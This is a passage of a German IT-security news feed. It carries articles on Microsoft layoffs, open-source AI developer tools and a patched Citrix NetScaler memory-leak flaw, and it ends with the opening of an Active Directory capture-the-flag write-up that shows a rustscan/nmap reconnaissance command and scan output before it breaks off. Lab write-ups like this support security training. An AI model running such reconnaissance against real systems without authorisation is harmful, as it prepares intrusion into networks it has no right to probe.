					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The number of tech layoffs continues to tick upwards as AI investments increase, with Microsoft alone cutting around 4,800 employees, or roughly 2.1% of its workforce, this week.</p>



<p>The latest cutbacks are mostly in the company’s commercial sales and Xbox divisions. They follow two others in 2025 that impacted around 15,000 workers, or roughly 4% of the company’s workforce. Prior to the latest cuts, Microsoft had 220,000-plus employees.</p>



<p>The headcount reduction also comes just days after the announcement of <a href="https://www.cio.com/article/4192504/microsoft-and-amazon-devote-billions-of-dollars-to-thousands-of-fdes.html" target="_blank">Microsoft Frontier Company</a>, an initiative that will provide embedded support for customers deploying AI projects, similar to traditional offerings from systems integrators (SIs).</p>



<p>Taken together, these moves seem to indicate that Microsoft is betting on its engineering expertise, rather than traditional account management, as the path to <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI success</a>.</p>



<p>“Microsoft had already reorganized its commercial business around AI,” said <a href="https://www.infotech.com/profiles/thomas-randall" target="_blank" rel="noreferrer noopener">Thomas Randall</a>, a research director at Info-Tech Research Group. “Recent layoffs are part of that ongoing context.”</p>



<h2 class="wp-block-heading">Microsoft’s memo to employees</h2>



<p>In a <a href="https://www.businessinsider.com/microsoft-jobs-cuts-across-sales-and-xbox-read-the-memo-2026-7" target="_blank" rel="noreferrer noopener">memo obtained by Business Insider</a>, Microsoft EVP and chief people officer Amy Coleman said the cuts effectively reflect the tectonic shift being brought about by AI.</p>



<p>“The ‘why’ is this: Our business is changing because the world around it is changing,” she said. “Companies don’t get to choose whether their industry changes; they only get to choose whether they change with it.”</p>



<p>Customer needs, and the business models that serve them, are shifting, meaning vendors must “adjust resources and roles” so they can operate in a way that best serves their customers. However, Coleman emphasized: “Whenever possible, our priority is to place people into new roles aligned to the company’s highest priorities and greatest areas of opportunity.”</p>



<p>Which, today, is AI.</p>



<p>Seemingly contradictorily, Coleman said the cuts “build on” the Frontier Company announcement, which is “reshaping how we work and embedding our engineering experts alongside customers so we can help them accelerate their technology deployments.”</p>



<p>While she emphasized that the roles eliminated this week are <a href="https://www.infoworld.com/article/4113574/forecast-ai-wont-replace-human-devs-for-at-least-5-years.html" target="_blank">not being replaced by AI</a>, the technology is fundamentally changing work. Many everyday tasks are being automated, meaning “we all need to keep learning, keep building new skills, and keep adapting as the work evolves.” </p>



<p>Customers are undergoing the same shift and are looking to Microsoft for guidance, she noted. “We can’t do that well unless we’re doing it ourselves.”</p>



<p>Finally, she said the tech giant will evolve structure and priorities across the company “thoughtfully.”</p>



<p>“We are working on alternative solutions to job eliminations and … we will continue to invest in equipping employees with new skills, including in AI.”</p>



<h2 class="wp-block-heading">What customers might expect</h2>



<p>Redmond isn’t the only big tech company taking scalpels to staff as the industry adjusts to, and seeks to capitalize on, AI. Companies are spending billions and inking strategic partnerships with top AI labs, and these investments in some cases need to be offset with cuts because some have yet to provide tangible ROI.</p>



<p>For instance, Amazon has laid off <a href="https://finance.yahoo.com/markets/stocks/articles/amazon-cutting-even-more-jobs-215000751.html?guccounter=1&amp;guce_referrer=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8&amp;guce_referrer_sig=AQAAABApQepSEbQ_dc1TGRGI6UlyX5mFPpTY5zoGKqYKNDv3jt19X8whfI9ZKnzpE0RdmD4BMAlgVjxfGRT0IfHy34G8e78MqJIbW1QWvQb00AC9dor6nzVfTgWuv7bxYVZ3fEBKKwXi-cfiKOObM-csOMADd4byfnnAiiFfzJ8pa48f" target="_blank" rel="noreferrer noopener">30,000 workers</a> since last fall, while Google is rumored to be <a href="https://www.businessinsider.com/google-clouds-quiet-layoffs-hit-cybersecurity-teams-2026-6" target="_blank" rel="noreferrer noopener">cutting employees</a> in its cloud division. Meta, for its part, eliminated 8,000 employees, or about 10% of its total headcount, in May alone, while Oracle <a href="https://www.bbc.com/news/articles/c4gy0x0j5deo" target="_blank" rel="noreferrer noopener">recently slashed 21,000</a>.</p>



<p>For customers, there is a price to pay, however. In the case of Microsoft, Info-Tech’s Randall said that, with the cuts, some customers can now expect slower response times on “non-strategic asks,” particularly as accounts are consolidated under fewer reps.</p>



<p>That said, given its Frontier Company investments, top accounts with large AI, data, security, and cloud commitments may get “deeper technical engagement,” while ordinary licensing/support workflows may become leaner.</p>



<p>Further, customers can expect more hand-offs to partner-led engagements, given that Microsoft is already pushing customers toward its partners for FY27 (which began July 1, 2026) when it comes to AI, security, cloud modernization, Copilot, agents, and managed services, Randall said. The company is also offering partners higher margins for growth in certain AI workloads.</p>



<p>“To prepare for these shifts, customers should reflect and document their Microsoft account and support teams,” Randall advised.</p>



<p>By that he meant enumerating things like the support contacts, the partner contacts, and the escalation paths for issues. This information should be well-documented and shared internally, he said. The same goes for Microsoft-involved conversations having to do with any kind of commitment, such as those involve pricing assumptions, roadmap dependencies, or deployment milestones.</p>



<p>“This can ensure a smoother transition with a new account rep on what has already been set out for the organization,” Randall said.</p>



<h2 class="wp-block-heading">Closing the gap between AI investment and ROI</h2>



<p>Last week, Microsoft launched the $2.5 billion Frontier Company, which it said “goes beyond” SIs and Forward Deployed Engineers (FDE). The initiative will integrate thousands of the company’s own engineers directly into customer environments to help them build AI tools, and to also help customers learn essential skills so they can eventually handle projects on their own.</p>



<p>But customers shouldn’t think of this as what he described as “consulting-heavy, McKinsey-style engagements,” noted Info-Tech’s Randall. Pre-sales will likely become more focused on qualifying an organization’s specific processes for ongoing AI implementations, rather than on system-wide change management. As with other hyperscalers such as AWS, Microsoft is leaning into this more white-glove model to help “prevent the gap between AI investments and AI ROI from widening.”</p>



<p>“As such, Microsoft will likely reserve its best technical talent for accounts with strong production intent, credible budget, usable data, and clear executive sponsorship,” Randall predicted.</p>



<p><em>This article originally appeared on <a href="https://www.cio.com/article/4193510/microsoft-betting-that-enterprise-ai-needs-engineers-not-bigger-sales-teams.html" target="_blank">CIO.com</a>.</em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Report: Mass Xbox layoffs will impact Fallout and The Elder Scrolls devs Bethesda and ZeniMax "significantly" — they'll focus on their "biggest franchises" like DOOM]]></title>
<description><![CDATA[Microsoft's mass layoffs at Xbox have reportedly affected Bethesda and ZeniMax "significantly," though devs will still be able to work on their core IPs.]]></description>
<link>https://tsecurity.de/de/3649649/windows-tipps/report-mass-xbox-layoffs-will-impact-fallout-and-the-elder-scrolls-devs-bethesda-and-zenimax-significantly-theyll-focus-on-their-biggest-franchises-like-doom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649649/windows-tipps/report-mass-xbox-layoffs-will-impact-fallout-and-the-elder-scrolls-devs-bethesda-and-zenimax-significantly-theyll-focus-on-their-biggest-franchises-like-doom/</guid>
<pubDate>Mon, 06 Jul 2026 20:59:51 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft's mass layoffs at Xbox have reportedly affected Bethesda and ZeniMax "significantly," though devs will still be able to work on their core IPs.]]></content:encoded>
</item>
<item>
<title><![CDATA[11 Open-Source-KI-Tools für Entwickler]]></title>
<description><![CDATA[Möglichst stressfrei hochwertige Software schreiben – das wollen diese elf Open-Source-KI-Projekte erleichtern.
DC Studio | shutterstock.com



Geht es um Software, entspringen dem Open-Source-Bereich regelmäßig höchst wirkungsvolle und kreative Ideen. Auch – und gerade – wenn dabei künstliche In...]]></description>
<link>https://tsecurity.de/de/3644680/it-security-nachrichten/11-open-source-ki-tools-fuer-entwickler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644680/it-security-nachrichten/11-open-source-ki-tools-fuer-entwickler/</guid>
<pubDate>Sat, 04 Jul 2026 05:07:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2024/11/DC-Studio_shutterstock_2270863967_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Developer Pizza 16z9" class="wp-image-3600036" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Möglichst stressfrei hochwertige Software schreiben – das wollen diese elf Open-Source-KI-Projekte erleichtern.</p>
</figcaption></figure><p class="imageCredit">DC Studio | shutterstock.com</p></div>



<p>Geht es um Software, entspringen dem <a href="https://www.computerwoche.de/article/2815676/8-tools-um-quelloffen-zusammenzuarbeiten.html" target="_blank">Open-Source-Bereich</a> regelmäßig höchst wirkungsvolle und kreative Ideen. Auch – und gerade – wenn dabei künstliche Intelligenz (KI) eine Rolle spielt: Die Rechenleistung, die die Technologie erfordert, macht sie nicht ideal für Einzelkämpfer. Vielmehr braucht es oft verteilte Teams, um solche <a href="https://www.computerwoche.de/article/2827848/4-gruende-warum-ki-projekte-in-schoenheit-sterben.html" target="_blank">Softwareprojekte</a> stemmen zu können.</p>



<p>Die folgenden elf quelloffenen KI-Projekte können Entwicklern dabei unter die Arme greifen. Sie eignen sich hervorragend als Startpunkt und Inspiration für eigene <a href="https://www.computerwoche.de/article/3498018/so-geht-dev-container.html" target="_blank">Dev-Projekte</a>.</p>



<h2 class="wp-block-heading">1. Upscayl</h2>



<p>Manchmal brauchen Bilder nur einen etwas höheren Detailgrad, um auf einer Webseite wirklich gut auszusehen. Den Task, Bildauflösung, -schärfe und Farbtreue gemäß den gewünschten Anforderungen anzupassen, können Entwickler auch an die Open-Source-Lösung  <a href="https://upscayl.org/" target="_blank" rel="noreferrer noopener">Upscayl</a> auslagern.</p>



<p>Weil die Upscayle-KI diese zusätzlichen Details quasi „herbei halluziniert“, eignet sich dieses quelloffene Projekt vor allem dazu, fiktionale Bilder zu optimieren. Für Abbildungen, die absolute Genauigkeit erfordern, hingegen weniger. Tatort-Fotos sollten deshalb beispielsweise außen vor bleiben.   </p>



<p><a href="https://github.com/upscayl/upscayl" target="_blank" rel="noreferrer noopener">Upscayl auf GitHub</a></p>



<h2 class="wp-block-heading">2. Nyro</h2>



<p>Mit der <a href="https://www.computerwoche.de/article/2834573/9-kommandozeilen-tools-die-jeder-dev-braucht.html" target="_blank">Kommandozeile</a> verbringen Entwickler in der Regel viel Zeit, um mit dem Betriebssystem zu interagieren. Im Einzelfall geht es dabei nur um ein paar Sekunden, aber die summieren sich auf Dauer.</p>



<p>Das Open-Source-Projekt Nyro (das auf dem auf dem <a href="https://www.electronjs.org/" target="_blank" rel="noreferrer noopener">Electron-Framework</a> aufbaut) ermöglicht es, grundlegende, alltägliche Tasks zu automatisieren. Dazu gehört etwa, Screenshots zu erstellen, Fenstergrößen anzupassen und Daten zwischen Applikationen zu synchronisieren. Die daraus resultierende Zeitersparnis kann sich in deutlichen Produktivitätssteigerungen niederschlagen.</p>



<p><a href="https://github.com/trynyro/nyro-app" target="_blank" rel="noreferrer noopener">Nyro auf GitHub</a></p>



<h2 class="wp-block-heading">3. Geppetto</h2>



<p>Nicht wenige Dev-Teams arbeiten inzwischen in weiten Teilen über <a href="https://www.computerwoche.de/article/2834258/slack-passt-datenschutz-an.html" target="_blank">Slack</a>. Die Beiträge, die dabei auf der Messaging-Plattform gepostet werden, stellen quasi eine solide First-Generation-Dokumentation dar.</p>



<p>Der Open-Source-Slackbot Gepetto kann Entwickler dabei unterstützen, diese Inhalte mit Unterstützung von Large Language Models (<a href="https://www.computerwoche.de/article/2823883/was-sind-llms.html" target="_blank">LLMs</a>) besser zu strukturieren. Bei Bedarf ist es auch möglich, über Dall-E künstlerische Aspekte in die Dokumentation einfließen zu lassen.</p>



<p><a href="https://github.com/Deeptechia/geppetto" target="_blank" rel="noreferrer noopener">Geppetto auf GitHub</a></p>



<h2 class="wp-block-heading">4. E2B</h2>



<p>Dass <a href="https://www.computerwoche.de/article/2821922/was-ist-generative-ai.html" target="_blank">Generative AI</a> weit mehr kann, als einfache Fragen zu beantworten und Bilder generieren, beweist das E2B-Projekt. Dabei handelt es sich um eine „Agent Sandbox“, die große Sprachmodelle mit diversen anderen Tools aus dem (menschlichen) Alltag verbindet: Web-Browser, <a href="https://www.computerwoche.de/article/2824356/26-softwareperlen-fuer-windows-pcs.html" target="_blank">GitHub-Repositories</a> und Befehlszeilen-Tools wie Linter.</p>



<p>Das realisiert LLMs, die deutlich nutzwertigere Aufgaben als die eingangs erwähnten bewältigen können. Etwa, Cloud-Infrastrukturen zu managen.</p>



<p><a href="https://github.com/e2b-dev/e2b" target="_blank" rel="noreferrer noopener">E2B auf GitHub</a></p>



<h2 class="wp-block-heading">5. Dataline</h2>



<p>Irgendeiner Remote-KI sämtliche Daten zu Trainingszwecken auszuhändigen, ist nicht jedermanns Sache. Abhilfe kann an dieser Stelle das Open-Source-Projekt Dataline schaffen. Das generiert mit Hilfe eines LLM <a href="https://www.computerwoche.de/article/2830678/7-fatale-sql-fehler.html" target="_blank">SQL-Befehle</a>, die die Informationen aus der Datenbank „ziehen“.</p>



<p>Im Anschluss erzeugt die KI daraus einen <a href="https://www.computerwoche.de/article/2812900/die-besten-tools-fuer-datenwissenschaftler.html" target="_blank">Data-Science-Report</a> (auf Grundlage einer lokalen Verbindung). Dieser hybride Ansatz kombiniert klassische datenwissenschaftliche Analyse-Algorithmen mit Generative AI.</p>



<p><a href="https://github.com/RamiAwar/dataline" target="_blank" rel="noreferrer noopener">Dataline auf GitHub</a></p>



<h2 class="wp-block-heading">6. Swirl Connect</h2>



<p>Als Entwickler möchte man sich manchmal am liebsten direkt auf einen Datensatz stürzen – müsste man sich nicht vorher die Mühe machen, diesen zu extrahieren und neu zu formatieren. Insbesondere wenn es um große Datensätze geht, können diese Prozesse zeitaufwändig ausfallen.</p>



<p>Gegensteuern können Devs mit dem Open-Source-Projekt <a href="https://swirlaiconnect.com/" target="_blank" rel="noreferrer noopener">Swirl Connect</a>. Das verknüpft diverse Standard-Datenbanken mit gängigen LLMs und <a href="https://www.computerwoche.de/article/2832846/was-ist-retrieval-augmented-generation-rag.html" target="_blank">RAG</a>-Suchindizes. Im Ergebnis liegen alle benötigten Daten an einem Ort – und Sie können sich ganz auf das KI-Training fokussieren.</p>



<p><a href="https://github.com/swirlai/swirl-search" target="_blank" rel="noreferrer noopener">Swirl Connect auf GitHub</a></p>



<h2 class="wp-block-heading">7. DSPy</h2>



<p>Prompt Engineering ist eine Disziplin, die erst durch Generative AI entstanden ist. Im Gegensatz zu Entwicklern arbeitet ein Prompt Engineer nicht mit Algorithmen, sondern mit Worten darauf hin, LLMs den <a href="https://www.computerwoche.de/article/2833555/10-dunkle-prompt-engineering-geheimnisse.html" target="_blank">idealen Output zu entlocken</a>.</p>



<p>Wenn sich das für Sie ein wenig zu sehr nach dunkler Magie anfühlt, ermöglicht das quelloffene Tool DSPy einen systematischeren Ansatz für das LLM-Training. Anstelle von <a href="https://www.computerwoche.de/article/2832986/werden-prompt-engineers-nutzlos.html" target="_blank">Wörtern und Phrasen</a> verbindet es Module und Optimierer und ordnet diese in einer Pipeline für das LLM an. Für Entwickler bedeutet das, sich weniger Gedanken um sprachliche Nuancen machen zu müssen – und sich besser auf die Arbeit mit Code konzentrieren zu können.</p>



<p><a href="https://github.com/stanfordnlp/dspy" target="_blank" rel="noreferrer noopener">DSPy auf GitHub</a></p>



<h2 class="wp-block-heading">8. Guardrails-Framework</h2>



<p>Eine wesentliche Herausforderung besteht mit Blick auf GenAI darin, <a href="https://www.csoonline.com/article/3494359/der-grose-ki-risiko-guide.html" target="_blank">wirksame Leitplanken zu etablieren</a>. Das Open-Source-Framework Guardrails on the Gateway ermöglicht, Generative-AI-Pipelines mit solchen Leitplanken auszustatten.  </p>



<p>Das funktioniert über asynchrone Funktionen, die nachverfolgen, wie sich die von der KI generierten Antworten entwickeln und diese schrittweise verfeinern. Unter dem Strich kann das für weniger <a href="https://www.computerwoche.de/article/2829632/so-daemmen-sie-ki-bullshit-ein.html">Halluzinationen</a> und mehr korrekten Output sorgen.</p>



<p><a href="https://github.com/Portkey-AI/gateway/wiki/Guardrails-on-the-Gateway-Framework" target="_blank" rel="noreferrer noopener">Guardrails auf GitHub</a></p>



<h2 class="wp-block-heading">9. Unsloth</h2>



<p>Ein <a href="https://www.computerwoche.de/article/2824922/14-gpt-alternativen.html" target="_blank">Large Language Model</a> auf einen neuen Datensatz zu trainieren, ist oft eine kostenintensive Angelegenheit. Diesen Trainingsprozess will das quelloffene KI-Tool Unsloth optimieren.</p>



<p>In der Konsequenz soll das <a href="https://www.computerwoche.de/article/3542587/wie-menschliche-trainer-ki-schlauer-machen.html">KI-Modelltraining</a> laut der Entwickler hinter dem Projekt zwei- bis fünfmal schneller ablaufen – mit der kostenpflichtigen <a href="https://unsloth.ai/" target="_blank" rel="noreferrer noopener">Professional-Version</a> sogar bis zu 30-mal. Verantwortlich dafür ist im Wesentlichen (handgeschriebener) Kernel-Code, der den Memory-Verbrauch reduziert, die Genauigkeit aber (mindestens) beibehält.  </p>



<p><a href="https://github.com/unslothai/unsloth" target="_blank" rel="noreferrer noopener">Unsloth auf GitHub</a></p>



<h2 class="wp-block-heading">10. Wren AI</h2>



<p>In aller Regel werden Daten in weitläufigen Tabellen abgespeichert, über die per SQL zugegriffen wird. Allerdings gehören <a href="https://www.computerwoche.de/article/2830650/9-gruende-gegen-sql.html" target="_blank">SQL Queries</a> nicht gerade zur Popkultur – sogar viele Entwickler haben damit zu kämpfen, schnell effiziente Abfragen zu schreiben.</p>



<p>An diesem Punkt kann das quelloffene Projekt Wren AI unterstützen – das quasi ein <a href="https://www.computerwoche.de/article/2799474/was-ist-natural-language-processing.html" target="_blank">natürlichsprachliches</a> SQL-Frontend darstellt. Die KI übersetzt dabei natürlichsprachliche Fragen in SQL und spart so potenziell jede Menge Zeit und Ärger.</p>



<p><a href="https://github.com/Canner/WrenAI" target="_blank" rel="noreferrer noopener">Wren AI auf GitHub</a></p>



<h2 class="wp-block-heading">11. AnythingLLM</h2>



<p>Es ist sehr wahrscheinlich, dass auch Sie jede Menge digitaler Dokumente horten, um bestimmte, dort enthaltene Informationen in Zukunft zu nutzen. Die Herausforderung besteht dann darin, die entsprechenden Inhalte auch zu finden, <a href="https://www.computerwoche.de/article/2833447/in-acht-schritten-zur-eigenen-genai.html">wenn </a><a href="https://www.computerwoche.de/article/2833447/in-acht-schritten-zur-eigenen-genai.html" target="_blank">man sie braucht</a>.</p>



<p>Dabei unterstützt das Open-Source-KI-Tool AnythingLLM: Sie speisen Ihre Dokumente einfach in ein beliebiges LLM- oder RAG-System ein und fragen anschließend die benötigten Informationen ab. (fm)</p>



<p><a href="https://github.com/Mintplex-Labs/anything-llm" target="_blank" rel="noreferrer noopener">AnythingLLM auf GitHub</a></p>



<p><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/3566915/11-open-source-ai-projects-that-developers-will-love.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New CitrixBleed-like NetScaler flaw sees exploit attempts in the wild]]></title>
<description><![CDATA[Citrix NetScaler appliances have been a constant target for attackers in recent years, most recently through an information leak vulnerability dubbed CitrixBleed 3, the latest in a series of NetScaler memory overreads going back to 2023. This week, Citrix patched yet another CitrixBleed-like vuln...]]></description>
<link>https://tsecurity.de/de/3643441/it-security-nachrichten/new-citrixbleed-like-netscaler-flaw-sees-exploit-attempts-in-the-wild/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643441/it-security-nachrichten/new-citrixbleed-like-netscaler-flaw-sees-exploit-attempts-in-the-wild/</guid>
<pubDate>Fri, 03 Jul 2026 13:53:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Citrix NetScaler appliances have been a constant target for attackers in recent years, most recently through an information leak vulnerability dubbed CitrixBleed 3, the latest in a series of NetScaler memory overreads going back to 2023. This week, Citrix patched yet another CitrixBleed-like vulnerability and there are signs of in-the-wild exploitation already.</p>



<p>The new memory overread vulnerability, tracked as CVE-2026-8451, was found by researchers from security firm watchTowr who published <a href="https://labs.watchtowr.com/citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451/" target="_blank" rel="noreferrer noopener">a detailed write-up</a> showing how unauthenticated malformed requests can result in protected process memory data being leaked back in responses.</p>



<p>The original <a href="https://www.csoonline.com/article/657085/citrix-urges-immediate-patching-of-critically-vulnerable-product-lines.html">CitrixBleed (CVE-2023-4966),</a> <a href="https://www.csoonline.com/article/4019802/exploit-details-released-for-citrix-bleed-2-flaw-affecting-netscaler.html">CitrixBleed 2 (CVE-2025–5777)</a>, and <a href="https://www.csoonline.com/article/4150224/new-critical-citrix-netscaler-hole-of-similar-severity-to-citrixbleed2-says-expert.html">CitrixBleed 3 (CVE-2026-3055)</a> vulnerabilities were all rated critical because they could be used to leak session tokens and other credentials stored in memory. The new CVE-2026-8451 can only be used to leak much smaller amounts of data which do not appear to include session IDs. For this reason, <a href="https://community.citrix.com/techzone-blogs/110_security-updates/security-update-for-citrix-netscaler-and-netscaler-gateway-customers-r1570/" target="_blank" rel="noreferrer noopener">Citrix gave it a CVSS score of 8.8</a> (high severity).</p>



<p>For exploitation to be possible, the NetScaler appliance needs to be configured as a SAML Identity Provider, but this was also the case for CitrixBleed 3, which was patched in March and was subsequently exploited in the wild.</p>



<p>So, this requirement doesn’t mean attacks are unlikely or that this configuration is uncommon. In fact, less than 24 hours after the Citirix patch, security firm Lupovis <a href="https://www.lupovis.io/lupovis-insights/" target="_blank" rel="noreferrer noopener">reported seeing exploitation attempts hitting its honeypot sensors</a>.</p>



<p>“Three separate sensors were targeted within a five-hour window,” the company said. “The actor received a 200 response on the third sensor and immediately delivered the exploit payload.”</p>



<h2 class="wp-block-heading">Smaller leak but still dangerous</h2>



<p>Even though watchTowr was only able to leak bytes of data using this flaw, compared to kilobytes with previous CitrixBleed issues, the exposed information could still be useful to attackers.</p>



<p>While the proof-of-concept did not reveal credentials or tokens, it’s possible that repeated requests would eventually be able to leak something sensitive. At the very least, the leaks can expose process memory pointers that could allow attackers to more easily deliver payloads using memory write vulnerabilities such as buffer overflows.</p>



<p>By overwriting data in a memory location that normally contains code the process executes, attackers could bypass anti-exploitation defenses like ASLR to take full control of the device.</p>



<p>As part of this same patch cycle Citrix also addressed two high-severity memory overflow vulnerabilities, tracked as CVE-2026-8452 and CVE-2026-8655. Chaining exploits for different vulnerabilities is a common approach in modern attacks.</p>



<p>The company also patched an unauthenticated arbitrary file read (CVE-2026-10816), another out-of-bounds memory overread (CVE-2026-10817) and a denial-of-service issue exploitable through HTTP/2 requests (CVE-2026-13474). The latter is actually a NetScaler-specific instance of the <a href="https://www.csoonline.com/article/4181313/http-2s-speed-abused-to-slow-webserver-performance-in-dos-attack.html">HTTP/2 Bomb vulnerability (CVE-2026-49975) patched recently in Apache Web Server</a>.</p>



<h2 class="wp-block-heading">Mitigation</h2>



<p>Citrix advises customers to upgrade their NetScaler ADC and NetScaler Gateway appliances to versions 14.1-72.61, 14.1-72.61 FIPS, 13.1-63.18, 13.1-FIPS and 13.1-NDcPP 13.1.37.272. The HTTP/2 Bomb vulnerability also requires configuration changes in addition to the patches.</p>



<p>These changes are described in <a href="https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696604" target="_blank" rel="noreferrer noopener">the Citrix advisory</a> along with methods to determine if appliances meet the configuration pre-conditions for exploitation for the other flaws. WatchTowr also published <a href="https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451" target="_blank" rel="noreferrer noopener">a Python detection script for the CVE-2026-8451 vulnerability</a> that allows organizations to quickly test if their appliances are susceptible to the exploit.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mech-building auto battler 'Cats in the Shell' announced by former Tencent / NetEase devs]]></title>
<description><![CDATA[Cats in the Shell is a fresh announcement from the newly formed Raven Studio, and it looks like it could be a lot of fun.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3641314/linux-tipps/mech-building-auto-battler-cats-in-the-shell-announced-by-former-tencent-netease-devs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641314/linux-tipps/mech-building-auto-battler-cats-in-the-shell-announced-by-former-tencent-netease-devs/</guid>
<pubDate>Thu, 02 Jul 2026 15:24:55 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cats in the Shell is a fresh announcement from the newly formed Raven Studio, and it looks like it could be a lot of fun.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/1121258346id29318gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/mech-building-auto-battler-cats-in-the-shell-announced-by-former-tencent-netease-devs/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA['Pure old-school Windows': Ex-Microsoft engineer shrinks down Notepad to 2.5 kilobytes with 'no bloat, no telemetry, no nonsense']]></title>
<description><![CDATA[Want Notepad to be like it was in the Windows XP era — except even leaner? TinyRetroPad is here.]]></description>
<link>https://tsecurity.de/de/3638930/it-nachrichten/pure-old-school-windows-ex-microsoft-engineer-shrinks-down-notepad-to-25-kilobytes-with-no-bloat-no-telemetry-no-nonsense/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638930/it-nachrichten/pure-old-school-windows-ex-microsoft-engineer-shrinks-down-notepad-to-25-kilobytes-with-no-bloat-no-telemetry-no-nonsense/</guid>
<pubDate>Wed, 01 Jul 2026 17:18:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Want Notepad to be like it was in the Windows XP era — except even leaner? TinyRetroPad is here.]]></content:encoded>
</item>
<item>
<title><![CDATA[Hack Smarter — City Council (Active Directory)]]></title>
<description><![CDATA[Hack Smarter - City Council (Active Directory)Can an application for public service requests lead to full domain compromise? You would probably say no. But you’re wrong. And I am going to show you why.● Discovering the service accountWe were given only an IP address to start from. So I launched a...]]></description>
<link>https://tsecurity.de/de/3638144/hacking/hack-smarter-city-council-active-directory/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638144/hacking/hack-smarter-city-council-active-directory/</guid>
<pubDate>Wed, 01 Jul 2026 12:21:41 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Hack Smarter - City Council (Active Directory)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eddEkzGamUsumsIAEyvC-Q.png"></figure><p>Can an application for public service requests lead to full domain compromise? You would probably say no. But you’re wrong. And I am going to show you why.</p><p><strong><em>● Discovering the service account</em></strong></p><p>We were given only an IP address to start from. So I launched a scan to see which ports were open and which services were available.</p><pre>rustscan -a 10.1.65.124 -- -A</pre><p>I used <em>rustscan</em> because I like the option to pass <em>nmap</em> flags directly for the open ports. The scan revealed the following results:</p><pre>PORT      STATE SERVICE       REASON  VERSION<br>53/tcp    open  domain        syn-ack Simple DNS Plus<br>80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0<br>| http-methods: <br>|   Supported Methods: OPTIONS TRACE GET HEAD POST<br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: City Hall - Your Local Government<br>88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-04-07 16:20:34Z)<br>135/tcp   open  msrpc         syn-ack Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: city.local0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds? syn-ack<br>464/tcp   open  kpasswd5?     syn-ack<br>593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped    syn-ack<br>3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: city.local0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped    syn-ack<br>3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=DC-CC.city.local<br>| Issuer: commonName=DC-CC.city.local<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2026-02-26T17:26:36<br>| Not valid after:  2026-08-28T17:26:36<br>| MD5:   6b9a:3a36:385d:f60a:43ef:3281:cafa:50fb<br>| SHA-1: b9ad:bca4:bad8:52b8:732f:3307:7b4b:d035:f389:3ce2<br>| -----BEGIN CERTIFICATE-----<br>...<br>|_-----END CERTIFICATE-----<br>| rdp-ntlm-info: <br>|   Target_Name: CITY<br>|   NetBIOS_Domain_Name: CITY<br>|   NetBIOS_Computer_Name: DC-CC<br>|   DNS_Domain_Name: city.local<br>|   DNS_Computer_Name: DC-CC.city.local<br>|   DNS_Tree_Name: city.local<br>|   Product_Version: 